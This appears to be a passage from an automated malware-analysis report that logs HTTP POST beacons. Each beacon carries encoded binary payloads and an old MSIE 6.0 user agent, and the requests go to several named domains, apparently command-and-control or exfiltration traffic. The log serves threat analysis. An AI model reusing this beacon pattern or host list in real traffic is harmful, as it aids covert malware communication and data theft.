Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.stajum.comCache-Control: no-cacheData Raw: 61 42 32 5a 36 6a 79 48 66 68 42 72 56 64 52 4a 35 37 6d 5a 73 63 2f 39 6b 4a 7a 55 62 4e 62 77 4d 4c 51 48 4e 6d 37 4d 68 6d 4a 2f 46 4e 35 41 68 41 73 34 67 6f 6d 64 72 74 62 51 36 43 53 6c 7a 39 65 44 39 62 64 57 32 42 76 39 76 5a 37 75 72 7a 55 77 73 54 6b 4b 78 42 4a 61 68 54 54 6b 63 72 42 44 54 4c 51 56 6b 4b 6c 44 45 4d 4d 71 71 61 49 58 42 4c 6a 6d 42 42 31 56 6e 79 58 74 79 49 44 54 57 53 63 67 79 77 51 56 44 64 47 6c 33 4d 66 4a 53 77 45 49 6d 30 54 69 46 53 32 59 4f 77 74 67 78 6b 4f 76 49 69 2b 6a 53 58 31 65 4e 37 73 69 4e 30 32 6c 6d 78 72 77 31 6f 72 72 66 79 59 67 57 6b 2f 73 6d 4b 50 56 4b 79 73 74 47 48 58 6e 4f 34 49 51 52 75 4d 64 68 53 37 78 52 64 79 45 44 61 36 78 6f 41 4a 74 4b 68 65 51 4f 4f 64 51 58 6e 6c 75 6b 4d 4c 6c 33 4a 45 76 42 70 32 7a 34 6e 73 43 4a 6d 66 47 52 45 59 62 61 53 4b 73 4e 62 62 45 65 48 6b 77 7a 61 59 42 57 34 4f 72 6c 78 67 55 65 76 42 34 69 70 4a 56 4d 61 4d 55 54 2b 44 4f 78 6b 43 2f 4e 52 36 5a 6a 63 64 62 39 32 50 77 49 72 48 77 6b 64 32 4e 4a 37 49 6a 6b 4c 5a 31 57 7a 73 54 41 54 53 69 62 56 55 78 68 6d 41 77 56 6f 72 73 74 5a 77 56 63 39 46 73 79 75 57 2f 58 41 73 2f 33 49 4b 57 49 65 79 75 6e 68 79 4a 56 58 56 69 61 62 4f 72 46 46 44 57 64 77 76 47 44 63 36 77 32 61 6c 66 35 4b 76 75 68 63 73 49 70 49 53 59 4c 34 2f 54 78 42 76 38 76 56 63 6f 47 6d 6d 72 78 45 32 47 55 7a 4c 51 6e 57 70 79 75 36 79 4a 67 31 4e 57 78 4e 62 55 53 68 4b 45 62 34 34 68 51 38 6e 78 32 54 78 52 39 33 62 6b 53 76 65 52 58 58 44 6f 51 31 32 47 32 6a 30 43 36 64 6e 2f 68 62 64 6f 6c 2f 4d 68 69 47 65 36 2b 73 42 5a 63 4e 67 34 30 50 4d 42 45 45 5a 76 65 30 66 6f 41 41 3d 3d Data Ascii: aB2Z6jyHfhBrVdRJ57mZsc/9kJzUbNbwMLQHNm7MhmJ/FN5AhAs4gomdrtbQ6CSlz9eD9bdW2Bv9vZ7urzUwsTkKxBJahTTkcrBDTLQVkKlDEMMqqaIXBLjmBB1VnyXtyIDTWScgywQVDdGl3MfJSwEIm0TiFS2YOwtgxkOvIi+jSX1eN7siN02lmxrw1orrfyYgWk/smKPVKystGHXnO4IQRuMdhS7xRdyEDa6xoAJtKheQOOdQXnlukMLl3JEvBp2z4nsCJmfGREYbaSKsNbbEeHkwzaYBW4OrlxgUevB4ipJVMaMUT+DOxkC/NR6Zjcdb92PwIrHwkd2NJ7IjkLZ1WzsTATSibVUxhmAwVorstZwVc9FsyuW/XAs/3IKWIeyunhyJVXViabOrFFDWdwvGDc6w2alf5KvuhcsIpISYL4/TxBv8vVcoGmmrxE2GUzLQnWpyu6yJg1NWxNbUShKEb44hQ8nx2TxR93bkSveRXXDoQ12G2j0C6dn/hbdol/MhiGe6+sBZcNg40PMBEEZve0foAA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.abart.plCache-Control: no-cacheData Raw: 55 56 7a 41 2b 39 73 56 66 78 43 71 49 74 46 74 38 6c 48 37 31 38 52 49 2b 45 74 68 56 52 4a 54 50 2f 55 77 74 77 39 47 58 31 4f 4a 7a 37 78 74 42 58 36 6d 75 72 51 43 45 37 73 6d 79 46 41 5a 57 38 64 41 78 33 72 53 61 72 75 75 7a 57 77 78 37 38 78 4c 76 4d 34 54 62 6d 47 70 53 77 33 31 78 56 55 6d 39 33 66 73 75 44 6c 43 2b 64 42 5a 4c 61 2f 51 58 62 6f 33 6c 4a 5a 57 76 69 78 4a 6b 38 43 65 63 66 49 51 57 73 70 6e 75 4c 67 4d 72 46 31 55 6c 4b 6d 63 4f 53 73 51 31 31 56 56 52 6c 6a 62 63 4a 6a 48 2f 35 37 62 77 44 37 49 79 66 75 68 45 64 6b 34 46 63 55 6f 38 63 6c 55 74 68 71 4f 6c 4f 31 4d 47 75 70 55 62 62 4a 75 30 68 2f 59 31 56 4d 49 39 45 6b 31 48 42 55 52 4c 30 37 48 66 6a 74 32 48 44 72 48 45 52 45 4a 59 71 67 42 44 37 35 7a 30 6a 68 35 66 6d 2b 43 72 2b 4f 64 41 7a 4e 62 6a 56 4b 7a 65 44 79 6b 30 30 49 48 6b 77 54 51 67 6d 42 37 45 37 63 31 77 7a 6a 42 66 7a 47 79 4a 6e 76 51 7a 49 66 49 31 66 66 56 54 45 4b 78 39 37 44 4d 39 6e 6e 42 52 56 63 33 73 6d 4c 66 4b 6f 46 78 4f 79 58 61 2f 59 31 78 5a 73 77 30 48 59 6c 68 2f 46 58 63 58 64 71 61 78 77 49 2b 4c 77 68 43 44 38 59 75 38 52 62 75 52 58 30 54 46 49 4c 49 62 4a 66 79 76 6c 78 6e 38 56 6b 44 33 34 55 58 33 56 47 39 36 68 53 79 37 79 56 53 35 64 62 31 4a 69 66 73 68 39 66 52 73 35 59 6a 4d 57 37 76 68 6f 65 5a 55 6a 59 30 41 77 52 45 48 67 75 6a 5a 51 62 4a 41 57 68 57 47 75 30 53 57 70 52 2f 62 31 45 70 6b 45 52 72 53 6a 78 79 49 64 2b 61 32 72 75 51 2b 69 30 59 49 58 45 6c 5a 36 6d 37 36 79 35 34 58 65 78 5a 56 37 38 79 30 77 75 6c 33 61 6e 31 45 42 52 44 30 59 36 59 48 32 73 76 37 6f 34 71 2b 63 62 52 55 43 4d 34 71 6d 75 76 64 79 33 67 4d 2b 41 64 47 55 61 73 72 35 71 43 7a 2f 53 4f 73 38 2f 53 48 4d 6b 32 69 6b 69 31 31 6c 63 3d Data Ascii: UVzA+9sVfxCqItFt8lH718RI+EthVRJTP/Uwtw9GX1OJz7xtBX6murQCE7smyFAZW8dAx3rSaruuzWwx78xLvM4TbmGpSw31xVUm93fsuDlC+dBZLa/QXbo3lJZWvixJk8CecfIQWspnuLgMrF1UlKmcOSsQ11VVRljbcJjH/57bwD7IyfuhEdk4FcUo8clUthqOlO1MGupUbbJu0h/Y1VMI9Ek1HBURL07Hfjt2HDrHEREJYqgBD75z0jh5fm+Cr+OdAzNbjVKzeDyk00IHkwTQgmB7E7c1wzjBfzGyJnvQzIfI1ffVTEKx97DM9nnBRVc3smLfKoFxOyXa/Y1xZsw0HYlh/FXcXdqaxwI+LwhCD8Yu8RbuRX0TFILIbJfyvlxn8VkD34UX3VG96hSy7yVS5db1Jifsh9fRs5YjMW7vhoeZUjY0AwREHgujZQbJAWhWGu0SWpR/b1EpkERrSjxyId+a2ruQ+i0YIXElZ6m76y54XexZV78y0wul3an1EBRD0Y6YH2sv7o4q+cbRUCM4qmuvdy3gM+AdGUasr5qCz/SOs8/SHMk2iki11lc=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 73 52 72 51 52 42 49 4f 69 41 39 31 73 69 48 51 78 64 61 30 6d 78 58 70 48 78 39 69 73 36 74 39 5a 69 30 39 68 4e 31 46 32 55 6b 4e 6c 69 70 35 72 53 72 34 66 70 70 57 4f 6c 59 38 30 2b 33 34 37 6d 31 42 6b 38 38 65 4b 4d 4d 48 74 59 4d 77 62 63 4a 6b 76 72 51 6a 56 44 76 37 4d 5a 59 2b 43 6a 6f 52 51 71 6b 72 4b 74 51 34 69 52 53 61 37 4c 59 32 55 43 4d 46 47 63 78 70 64 6a 7a 5a 77 2f 43 34 31 7a 2f 68 77 44 68 59 4d 54 64 39 71 71 6c 59 73 5a 51 70 76 46 78 70 41 57 5a 55 47 34 6e 6c 77 69 46 61 56 71 6b 64 64 4b 66 67 77 74 59 54 4d 78 65 64 74 75 71 6e 79 67 63 6e 47 61 62 79 57 6d 66 72 50 56 72 43 51 58 4b 38 57 31 72 54 67 66 38 54 34 39 41 6b 54 51 78 46 6f 48 64 31 6b 54 2f 5a 61 79 45 4b 75 71 37 55 30 6f 57 30 37 61 64 44 6d 35 79 4d 4d 54 78 2f 43 33 6a 57 67 58 56 35 37 36 39 67 6b 42 77 4f 35 4b 68 42 56 55 4e 30 4a 7a 37 44 71 45 42 6e 77 65 47 68 46 74 38 34 32 6c 53 32 62 45 65 52 64 7a 75 56 49 77 49 61 49 30 49 55 43 6f 31 37 72 41 6b 45 4a 2b 4b 38 4c 36 6e 51 6b 45 41 42 7a 34 71 65 61 75 57 4b 4d 75 50 72 38 61 35 69 4f 74 57 33 44 4e 33 4e 4c 4a 53 77 64 69 77 63 49 31 4e 33 69 49 6f 32 4e 65 57 35 49 78 62 6b 6b 58 51 61 44 56 74 31 39 75 61 70 46 46 47 36 62 41 6f 34 47 51 48 64 62 37 78 7a 76 55 66 2f 56 46 43 37 58 58 65 78 34 49 47 6d 65 69 68 41 53 31 35 30 63 64 4b 6d 30 55 67 68 6c 64 4e 2b 77 69 38 66 61 47 51 4f 68 41 6d 79 43 6f 5a 41 34 39 59 77 30 31 61 33 4b 7a 43 42 37 6f 43 50 74 37 76 63 7a 49 56 54 50 77 7a 2b 46 73 74 4a 37 54 32 35 72 6f 78 77 55 70 37 63 4b 38 48 51 62 36 4b 56 55 6b 64 6d 69 62 54 4c 57 49 6c 53 77 34 4b 69 33 71 4b 50 56 51 56 65 31 4c 31 61 4b 59 47 32 6a 58 39 79 43 38 77 73 45 4a 51 58 48 37 76 57 37 66 4a 51 67 53 43 43 48 51 6f 54 59 2b 47 5a 52 74 43 4f 68 50 61 42 6d 4d 38 3d Data Ascii: sRrQRBIOiA91siHQxda0mxXpHx9is6t9Zi09hN1F2UkNlip5rSr4fppWOlY80+347m1Bk88eKMMHtYMwbcJkvrQjVDv7MZY+CjoRQqkrKtQ4iRSa7LY2UCMFGcxpdjzZw/C41z/hwDhYMTd9qqlYsZQpvFxpAWZUG4nlwiFaVqkddKfgwtYTMxedtuqnygcnGabyWmfrPVrCQXK8W1rTgf8T49AkTQxFoHd1kT/ZayEKuq7U0oW07adDm5yMMTx/C3jWgXV5769gkBwO5KhBVUN0Jz7DqEBnweGhFt842lS2bEeRdzuVIwIaI0IUCo17rAkEJ+K8L6nQkEABz4qeauWKMuPr8a5iOtW3DN3NLJSwdiwcI1N3iIo2NeW5IxbkkXQaDVt19uapFFG6bAo4GQHdb7xzvUf/VFC7XXex4IGmeihAS150cdKm0UghldN+wi8faGQOhAmyCoZA49Yw01a3KzCB7oCPt7vczIVTPwz+FstJ7T25roxwUp7cK8HQb6KVUkdmibTLWIlSw4Ki3qKPVQVe1L1aKYG2jX9yC8wsEJQXH7vW7fJQgSCCHQoTY+GZRtCOhPaBmM8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ka-mo-me.comCache-Control: no-cacheData Raw: 55 68 49 33 70 6a 66 76 6a 42 42 50 63 4c 31 73 70 67 4e 47 6c 34 44 61 57 52 2f 74 50 39 76 45 57 39 61 6d 4e 69 33 68 6d 43 37 42 58 45 5a 71 74 76 5a 4a 49 63 38 59 65 71 4d 65 59 50 59 68 6c 2b 71 76 4a 38 44 51 6b 51 68 79 72 38 65 49 6f 39 45 73 78 41 61 78 37 34 76 58 4b 62 37 30 75 4e 4c 78 62 68 45 6b 53 53 65 46 78 64 69 65 6f 2f 2f 38 63 69 61 4e 4f 4b 62 4e 47 43 46 54 78 63 30 6e 4d 76 49 62 48 42 69 74 35 75 45 63 33 51 5a 73 77 5a 6e 55 4b 5a 79 59 5a 57 70 6c 76 46 72 6b 38 6f 74 72 37 59 4c 4a 6f 7a 4e 38 37 55 44 4c 62 64 71 6b 6f 46 74 59 75 6d 49 4a 49 6b 2f 62 4b 62 56 33 46 74 79 4f 51 52 49 33 64 49 62 2b 56 39 32 57 53 74 68 76 51 74 44 58 41 56 49 7a 5a 42 4f 4a 4c 36 66 41 34 34 32 78 4b 67 4f 6e 52 76 33 6c 73 30 68 76 6c 71 66 54 2f 73 34 31 46 33 46 4f 63 64 49 4f 51 42 36 48 71 4a 6a 42 39 41 75 5a 57 39 62 68 78 55 2f 6c 55 77 64 42 72 55 6d 52 72 66 6d 46 4e 37 6f 72 71 79 6e 2f 70 6e 52 53 67 6c 35 45 75 62 32 7a 77 64 74 50 35 6b 49 76 4c 51 79 61 78 79 59 35 71 76 53 66 67 46 52 44 75 56 2f 65 43 56 4d 4f 62 32 4e 6f 49 54 46 66 73 58 51 45 7a 69 62 33 35 5a 39 45 58 58 33 38 6b 6e 71 63 32 33 36 33 46 32 44 34 41 67 65 69 73 4c 6a 50 49 44 39 74 56 68 6b 4b 66 37 55 76 2f 4e 56 6b 55 48 42 63 74 65 46 6e 6f 6b 50 36 63 6c 6e 6a 2f 42 50 49 57 2f 70 44 52 52 41 77 4d 4b 52 42 6f 73 72 43 45 61 49 7a 5a 38 76 30 37 42 41 4c 32 37 4e 69 6e 4e 4d 31 76 30 59 75 64 64 64 54 51 49 7a 77 73 70 7a 6b 53 34 65 34 4f 35 38 4f 52 34 46 6c 50 59 66 77 73 70 35 6c 6a 56 42 6d 47 4a 43 2b 6e 34 77 42 77 4c 4f 42 32 73 45 53 49 30 43 54 63 38 4b 59 76 64 47 50 6d 41 4a 36 78 77 3d 3d Data Ascii: UhI3pjfvjBBPcL1spgNGl4DaWR/tP9vEW9amNi3hmC7BXEZqtvZJIc8YeqMeYPYhl+qvJ8DQkQhyr8eIo9EsxAax74vXKb70uNLxbhEkSSeFxdieo//8ciaNOKbNGCFTxc0nMvIbHBit5uEc3QZswZnUKZyYZWplvFrk8otr7YLJozN87UDLbdqkoFtYumIJIk/bKbV3FtyOQRI3dIb+V92WSthvQtDXAVIzZBOJL6fA442xKgOnRv3ls0hvlqfT/s41F3FOcdIOQB6HqJjB9AuZW9bhxU/lUwdBrUmRrfmFN7orqyn/pnRSgl5Eub2zwdtP5kIvLQyaxyY5qvSfgFRDuV/eCVMOb2NoITFfsXQEzib35Z9EXX38knqc2363F2D4AgeisLjPID9tVhkKf7Uv/NVkUHBcteFnokP6clnj/BPIW/pDRRAwMKRBosrCEaIzZ8v07BAL27NinNM1v0YudddTQIzwspzkS4e4O58OR4FlPYfwsp5ljVBmGJC+n4wBwLOB2sESI0CTc8KYvdGPmAJ6xw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.petsfan.comCache-Control: no-cacheData Raw: 43 35 75 6c 43 49 41 68 6b 42 41 48 69 6c 79 58 55 36 61 5a 78 72 4e 45 67 4e 5a 6f 48 6e 38 6b 74 47 68 57 63 4a 65 43 62 32 64 53 57 64 76 77 79 57 35 6f 2f 74 39 4b 56 62 59 48 33 59 4f 66 76 76 5a 72 43 63 55 4c 59 7a 56 34 59 47 71 47 2f 75 58 52 51 75 4f 6c 6b 63 66 77 75 53 6e 79 57 34 33 4b 4d 54 6c 30 2b 2f 5a 75 62 51 43 6d 76 79 58 57 4f 61 74 30 69 57 59 51 44 6f 62 67 45 35 6c 55 31 42 53 45 53 51 65 58 75 4f 72 70 43 79 2f 77 6d 55 67 53 46 4b 72 64 2f 72 6c 41 67 4c 39 4c 4b 2b 2b 75 4a 75 59 72 54 58 57 57 47 71 61 41 4a 57 70 78 66 61 65 75 72 32 6d 31 4a 32 36 42 45 48 38 58 4a 44 79 35 6b 5a 79 41 72 41 64 45 43 55 73 4a 6c 2b 56 4c 39 68 76 53 35 59 41 55 6e 49 6c 69 4d 53 72 51 66 70 4f 71 79 43 73 41 41 58 78 63 51 66 64 43 37 76 68 2f 31 2f 38 49 76 55 45 77 45 44 54 6f 64 4f 34 54 4d 75 54 46 5a 67 37 64 34 6d 4e 56 77 53 39 62 52 2b 41 63 59 4c 36 38 4d 4a 50 57 72 51 53 4a 52 74 2b 36 6d 2b 77 4a 38 68 35 36 47 2f 53 63 7a 7a 76 4a 46 6c 50 39 54 53 78 37 76 4e 69 61 30 6d 38 41 6d 41 63 66 58 65 55 33 39 42 65 63 6e 51 74 39 38 34 75 4d 6f 37 4b 44 5a 34 65 4d 72 34 6b 46 32 35 32 47 76 48 79 46 72 51 66 6d 66 4b 6f 67 48 64 49 74 4d 68 41 2b 47 66 49 48 64 51 63 39 53 45 4c 44 42 33 54 6f 58 34 2b 49 56 6f 65 4c 31 4b 41 72 2b 67 6a 4c 6e 58 30 39 47 6c 69 64 34 7a 41 33 50 54 6a 70 45 37 75 7a 6f 58 6b 39 67 31 42 79 49 41 6f 78 51 65 59 68 66 76 5a 6f 68 47 59 4c 75 6d 4c 68 6c 41 2f 75 62 58 68 52 47 4f 68 45 69 41 61 34 73 43 35 4d 78 6c 37 64 41 55 53 61 64 56 6b 43 63 6e 74 6b 54 43 33 54 73 50 58 66 77 50 58 64 79 69 59 6a 31 46 47 44 33 41 3d 3d Data Ascii: C5ulCIAhkBAHilyXU6aZxrNEgNZoHn8ktGhWcJeCb2dSWdvwyW5o/t9KVbYH3YOfvvZrCcULYzV4YGqG/uXRQuOlkcfwuSnyW43KMTl0+/ZubQCmvyXWOat0iWYQDobgE5lU1BSESQeXuOrpCy/wmUgSFKrd/rlAgL9LK++uJuYrTXWWGqaAJWpxfaeur2m1J26BEH8XJDy5kZyArAdECUsJl+VL9hvS5YAUnIliMSrQfpOqyCsAAXxcQfdC7vh/1/8IvUEwEDTodO4TMuTFZg7d4mNVwS9bR+AcYL68MJPWrQSJRt+6m+wJ8h56G/SczzvJFlP9TSx7vNia0m8AmAcfXeU39BecnQt984uMo7KDZ4eMr4kF252GvHyFrQfmfKogHdItMhA+GfIHdQc9SELDB3ToX4+IVoeL1KAr+gjLnX09Glid4zA3PTjpE7uzoXk9g1ByIAoxQeYhfvZohGYLumLhlA/ubXhRGOhEiAa4sC5Mxl7dAUSadVkCcntkTC3TsPXfwPXdyiYj1FGD3A==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.spanesi.comCache-Control: no-cacheData Raw: 6b 63 77 4c 52 4d 75 76 6f 68 44 4a 34 55 79 6e 49 73 4b 50 45 54 51 6f 53 32 73 52 58 6a 37 42 4c 37 61 79 48 53 39 5a 61 64 4e 33 4c 55 56 49 39 33 6a 63 32 38 65 37 47 69 45 5a 6d 35 68 77 63 31 6f 67 58 4e 53 61 74 65 63 4e 50 4c 2f 35 35 2b 56 78 75 4a 38 50 67 70 2f 7a 55 53 50 54 33 51 55 66 51 32 4f 6b 6e 46 57 62 56 73 45 6c 41 31 6c 70 2b 76 4f 6c 36 38 50 66 46 34 49 4e 78 56 41 2b 50 79 33 42 2f 44 54 66 47 41 44 62 58 62 45 2b 6e 4c 77 37 49 57 62 54 39 2b 73 2f 4f 37 4d 38 36 6b 5a 63 33 32 4b 2b 62 42 5a 56 6f 62 34 64 78 43 4d 5a 78 76 49 68 32 71 73 74 31 6c 6d 64 4a 57 44 6e 66 2f 63 67 59 39 71 6f 4e 55 4b 4b 4b 46 37 68 4b 64 77 77 6f 68 33 4a 6f 51 58 53 33 68 38 71 31 4f 30 76 41 30 77 43 78 6f 57 33 63 39 37 44 4e 2b 4c 42 58 62 51 4b 4a 38 57 70 6f 48 50 64 63 32 37 55 4b 50 63 36 72 49 6e 4d 6a 53 31 47 35 50 65 4c 75 56 38 2b 63 45 33 70 54 5a 36 55 50 55 74 6b 71 64 47 68 78 54 31 72 4a 58 53 6d 4a 35 71 41 72 2f 30 63 6b 32 66 34 38 55 43 6b 56 4a 57 4c 46 4d 70 75 77 47 49 43 59 33 6b 47 54 4c 51 41 74 75 34 74 61 53 59 63 68 59 49 75 4a 43 67 53 54 67 4d 75 44 78 46 7a 61 49 77 4b 6a 31 72 36 6c 59 68 33 65 6f 6a 72 68 4a 46 49 77 49 69 64 6a 4c 33 62 4e 4b 33 2f 2f 34 74 35 4b 5a 32 4f 6a 4e 58 2b 79 2f 5a 55 6a 67 33 2b 6e 6b 6e 45 72 31 2b 55 4b 43 5a 57 6c 59 6e 2b 55 6b 59 68 47 31 47 48 50 38 6d 56 66 39 37 67 54 42 6a 38 57 59 6e 31 51 7a 4e 33 67 4d 39 70 59 50 6b 73 41 4f 41 57 56 31 73 38 47 6a 49 4f 75 66 43 45 69 63 4d 79 63 68 61 67 52 61 65 37 4c 67 79 2b 51 55 73 6f 69 65 52 4f 45 66 72 70 76 35 4a 4e 70 4d 4b 30 39 52 6c 4a 30 4e 55 77 35 73 48 51 64 56 6e 50 46 31 6f 32 51 6c 38 78 51 67 30 6f 34 51 3d 3d Data Ascii: kcwLRMuvohDJ4UynIsKPETQoS2sRXj7BL7ayHS9ZadN3LUVI93jc28e7GiEZm5hwc1ogXNSatecNPL/55+VxuJ8Pgp/zUSPT3QUfQ2OknFWbVsElA1lp+vOl68PfF4INxVA+Py3B/DTfGADbXbE+nLw7IWbT9+s/O7M86kZc32K+bBZVob4dxCMZxvIh2qst1lmdJWDnf/cgY9qoNUKKKF7hKdwwoh3JoQXS3h8q1O0vA0wCxoW3c97DN+LBXbQKJ8WpoHPdc27UKPc6rInMjS1G5PeLuV8+cE3pTZ6UPUtkqdGhxT1rJXSmJ5qAr/0ck2f48UCkVJWLFMpuwGICY3kGTLQAtu4taSYchYIuJCgSTgMuDxFzaIwKj1r6lYh3eojrhJFIwIidjL3bNK3//4t5KZ2OjNX+y/ZUjg3+nknEr1+UKCZWlYn+UkYhG1GHP8mVf97gTBj8WYn1QzN3gM9pYPksAOAWV1s8GjIOufCEicMychagRae7Lgy+QUsoieROEfrpv5JNpMK09RlJ0NUw5sHQdVnPF1o2Ql8xQg0o4Q==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.elpro.siCache-Control: no-cacheData Raw: 4a 4a 59 32 56 79 4e 50 6f 78 42 67 4f 6c 41 74 71 75 71 73 34 45 7a 35 4e 32 68 4a 44 4f 78 66 42 78 39 73 46 6b 4a 55 4a 49 35 64 59 57 62 6a 49 71 7a 6e 55 77 4f 41 75 75 70 44 75 6c 48 57 54 78 41 6f 73 59 59 4e 6c 59 42 4c 2b 6a 39 7a 39 70 47 52 2f 50 32 77 77 42 31 63 71 47 36 4f 6a 42 5a 56 32 73 34 56 4d 32 55 72 62 44 4d 77 6c 45 39 39 53 6d 63 7a 71 64 73 57 6f 35 5a 62 41 68 56 64 30 6e 4f 63 69 36 4a 5a 35 47 78 6c 62 2f 64 65 6e 38 4e 7a 46 55 51 76 41 58 56 55 73 76 39 74 4c 38 32 63 36 39 6f 52 44 5a 59 61 67 48 30 72 70 4d 45 44 4d 62 31 58 66 41 54 54 55 6a 63 77 67 67 66 6d 63 36 6d 76 5a 6d 53 4c 45 59 54 4e 32 4f 75 7a 62 75 63 4c 30 2f 39 61 64 4e 32 59 65 55 76 32 77 71 56 65 51 32 4e 4d 79 65 71 2f 42 6f 4f 33 2f 47 73 46 46 4e 5a 61 5a 36 35 39 41 53 45 41 35 36 4b 67 52 35 52 4d 7a 38 69 37 6a 70 4d 34 70 66 37 51 74 39 69 7a 71 51 6a 47 37 6c 47 73 4e 49 61 56 46 65 74 55 42 36 4e 6f 70 71 73 41 48 73 37 2b 68 43 66 47 78 4d 37 63 56 75 75 52 68 53 4c 70 79 49 58 55 57 43 65 2b 45 63 75 71 73 55 75 59 41 78 46 5a 79 4a 4a 6f 55 68 62 6f 46 69 4d 45 44 6b 6a 46 57 59 6c 4b 76 46 7a 7a 75 73 33 7a 32 73 4e 77 6b 48 69 41 34 37 63 58 65 43 41 78 77 57 78 61 72 4f 38 68 67 31 53 71 68 30 55 64 49 31 5a 48 38 7a 6d 53 66 67 31 71 6b 31 63 4c 57 2f 62 73 41 67 50 57 4b 4e 49 62 4c 6d 2b 32 2f 42 58 6e 6d 7a 6e 6a 48 42 39 52 39 4f 2b 33 79 62 59 46 6f 4f 74 54 30 63 59 64 30 70 74 4e 6e 4e 4c 4e 48 4a 53 6d 36 34 75 34 6e 4d 47 6c 35 38 4e 48 45 2f 37 56 4a 75 38 31 31 57 31 46 55 6c 64 39 63 51 44 44 6c 4e 57 75 74 74 5a 34 31 4c 68 55 76 44 71 5a 56 58 6d 46 73 67 3d 3d Data Ascii: JJY2VyNPoxBgOlAtquqs4Ez5N2hJDOxfBx9sFkJUJI5dYWbjIqznUwOAuupDulHWTxAosYYNlYBL+j9z9pGR/P2wwB1cqG6OjBZV2s4VM2UrbDMwlE99SmczqdsWo5ZbAhVd0nOci6JZ5Gxlb/den8NzFUQvAXVUsv9tL82c69oRDZYagH0rpMEDMb1XfATTUjcwggfmc6mvZmSLEYTN2OuzbucL0/9adN2YeUv2wqVeQ2NMyeq/BoO3/GsFFNZaZ659ASEA56KgR5RMz8i7jpM4pf7Qt9izqQjG7lGsNIaVFetUB6NopqsAHs7+hCfGxM7cVuuRhSLpyIXUWCe+EcuqsUuYAxFZyJJoUhboFiMEDkjFWYlKvFzzus3z2sNwkHiA47cXeCAxwWxarO8hg1Sqh0UdI1ZH8zmSfg1qk1cLW/bsAgPWKNIbLm+2/BXnmznjHB9R9O+3ybYFoOtT0cYd0ptNnNLNHJSm64u4nMGl58NHE/7VJu811W1FUld9cQDDlNWuttZ41LhUvDqZVXmFsg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.credo.edu.plCache-Control: no-cacheData Raw: 54 73 6d 41 6f 32 66 4a 70 52 43 56 44 6f 50 6e 46 6a 63 6f 7a 6a 41 67 71 79 6a 64 58 59 6a 54 69 2f 4e 4c 67 68 49 79 63 42 65 65 6f 6d 71 68 33 4c 50 6e 52 6d 31 49 34 2f 38 61 5a 62 6b 4d 50 4f 36 73 58 32 67 79 77 49 6d 48 72 48 39 69 59 62 79 31 31 51 36 51 32 58 46 52 52 38 4c 7a 39 5a 49 6a 76 55 47 56 4a 75 70 6c 5a 74 71 72 36 50 59 36 55 69 4c 59 68 53 77 53 37 72 78 63 58 79 55 2b 54 2f 2b 43 4e 72 6c 47 37 42 32 37 37 44 6c 35 54 6c 4d 4f 50 58 50 61 49 77 61 37 6a 58 6e 6b 52 61 6b 66 75 4d 62 55 75 39 62 68 4b 4b 34 7a 75 45 79 65 34 32 56 79 6c 35 65 4c 45 59 4e 30 30 78 48 70 35 46 2b 57 68 75 56 4a 63 38 38 38 2b 66 42 66 34 4a 46 4d 61 4c 4e 2f 4b 41 67 61 73 6c 42 5a 51 61 35 76 46 63 47 59 41 4b 77 32 42 6c 4d 33 4a 77 75 69 79 31 69 4b 5a 4f 6b 6a 42 38 51 47 37 44 77 7a 43 4a 45 37 4b 35 62 6f 38 2b 54 70 55 31 67 71 39 71 77 57 66 77 37 74 71 7a 4b 44 70 77 43 71 51 7a 5a 35 37 53 2b 42 55 73 63 62 69 6e 30 45 71 4e 47 79 62 6d 38 69 79 6b 72 62 6b 69 57 70 37 49 6f 66 67 6a 43 50 47 55 6a 51 65 63 2f 58 38 5a 5a 4a 57 6e 6b 45 68 76 6b 71 6d 44 31 68 4f 6b 42 61 2b 6a 65 67 49 42 6f 53 54 4e 78 4f 57 4b 42 4f 54 35 4a 39 49 6c 4d 6f 46 73 50 2b 63 67 6b 76 47 57 69 54 77 61 74 46 4a 52 41 59 52 36 72 66 50 54 32 2b 45 70 70 33 78 33 36 30 43 69 45 6b 77 50 77 53 46 31 78 34 65 78 6e 64 6e 4e 5a 56 68 6d 47 50 30 4f 4a 44 77 47 52 39 53 4e 6d 6b 6b 58 71 70 64 30 49 7a 69 52 62 73 61 6f 35 6c 35 6a 62 4e 30 2f 6e 75 48 66 66 50 6e 45 6e 66 64 7a 79 69 76 63 55 73 6e 75 70 57 32 37 73 6a 30 66 31 30 75 5a 6b 75 76 77 56 7a 52 46 36 53 74 61 4d 2b 4b 4f 7a 2f 57 64 4d 6a 32 56 4e 32 76 6f 6b 3d Data Ascii: 